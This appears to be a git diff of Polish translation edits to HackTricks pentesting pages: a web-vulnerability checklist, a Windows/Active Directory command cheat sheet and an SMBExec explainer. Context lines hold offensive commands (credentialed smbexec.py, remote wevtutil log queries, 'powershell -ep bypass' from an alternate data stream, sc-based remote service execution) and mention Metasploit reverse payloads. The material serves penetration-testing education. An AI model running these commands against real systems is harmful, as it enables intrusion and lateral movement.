Funkcjonalności, które pozwalają na przesyłanie plików, mogą być podatne na różne problemy.\
|
||||
Funkcjonalności, które generują pliki, w tym dane wejściowe użytkownika, mogą wykonywać nieoczekiwany kod.\
|
||||
Funkcjonalności, które pozwalają na przesyłanie plików, mogą być wrażliwe na kilka problemów.\
|
||||
Funkcjonalności, które generują pliki zawierające dane wejściowe użytkownika, mogą wykonywać nieoczekiwany kod.\
|
||||
Użytkownicy, którzy otwierają pliki przesyłane przez użytkowników lub automatycznie generowane, w tym dane wejściowe użytkownika, mogą być narażeni na niebezpieczeństwo.
|
||||
|
||||
* [ ] [**Przesyłanie plików**](file-upload/)
|
||||
|
@ -145,7 +145,7 @@ Użytkownicy, którzy otwierają pliki przesyłane przez użytkowników lub auto
|
|||
|
||||
Te wrażliwości mogą pomóc w eksploatacji innych wrażliwości.
|
||||
|
||||
* [ ] [**Przejęcie domeny/subdomeny**](domain-subdomain-takeover.md)
|
||||
* [ ] [**Przejęcie domeny/poddomeny**](domain-subdomain-takeover.md)
|
||||
* [ ] [**IDOR**](idor.md)
|
||||
* [ ] [**Zanieczyszczenie parametrów**](parameter-pollution.md)
|
||||
* [ ] [**Wrażliwość normalizacji Unicode**](unicode-injection/)
|
||||
|
@ -153,9 +153,9 @@ Te wrażliwości mogą pomóc w eksploatacji innych wrażliwości.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne wrażliwości z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, eksploatowalne wrażliwości mające realny wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -9,17 +9,17 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonywujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -127,7 +127,7 @@ nltest /domain_trusts #Mapping of the trust relationships
|
|||
# Get all objects inside an OU
|
||||
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
|
||||
```
|
||||
### Dzienniki i Wydarzenia
|
||||
### Dzienniki i zdarzenia
|
||||
```bash
|
||||
#Make a security query using another credentials
|
||||
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
|
||||
|
@ -419,9 +419,9 @@ powershell -ep bypass - < c:\temp:ttt
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Zdobądź perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -436,7 +436,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,17 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## How it Works
|
||||
## Jak to działa
|
||||
|
||||
**Smbexec** to narzędzie używane do zdalnego wykonywania poleceń na systemach Windows, podobne do **Psexec**, ale unika umieszczania jakichkolwiek złośliwych plików na docelowym systemie.
|
||||
|
||||
### Key Points about **SMBExec**
|
||||
### Kluczowe punkty dotyczące **SMBExec**
|
||||
|
||||
- Działa poprzez tworzenie tymczasowej usługi (na przykład "BTOBTO") na docelowej maszynie, aby wykonywać polecenia za pomocą cmd.exe (%COMSPEC%), bez zrzucania jakichkolwiek binariów.
|
||||
- Pomimo swojego dyskretnego podejścia, generuje logi zdarzeń dla każdego wykonanego polecenia, oferując formę nieinteraktywnego "shella".
|
||||
|
@ -38,7 +38,7 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
|||
### Wykonywanie poleceń bez binariów
|
||||
|
||||
- **Smbexec** umożliwia bezpośrednie wykonywanie poleceń za pomocą binPaths usługi, eliminując potrzebę posiadania fizycznych binariów na docelowym systemie.
|
||||
- Metoda ta jest przydatna do wykonywania jednorazowych poleceń na docelowym systemie Windows. Na przykład, połączenie jej z modułem `web_delivery` Metasploit pozwala na wykonanie ładunku odwrotnego Meterpreter skierowanego na PowerShell.
|
||||
- Metoda ta jest przydatna do wykonywania jednorazowych poleceń na docelowym systemie Windows. Na przykład, połączenie jej z modułem `web_delivery` Metasploit pozwala na wykonanie ładunku zwrotnego Meterpreter skierowanego na PowerShell.
|
||||
- Tworząc zdalną usługę na maszynie atakującego z binPath ustawionym na uruchomienie podanego polecenia przez cmd.exe, możliwe jest pomyślne wykonanie ładunku, osiągając callback i wykonanie ładunku z nasłuchiwaczem Metasploit, nawet jeśli wystąpią błędy odpowiedzi usługi.
|
||||
|
||||
### Przykład poleceń
|
||||
|
@ -50,12 +50,13 @@ sc start [ServiceName]
|
|||
```
|
||||
FOr further details check [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
|
||||
## References
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
|
@ -71,7 +72,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue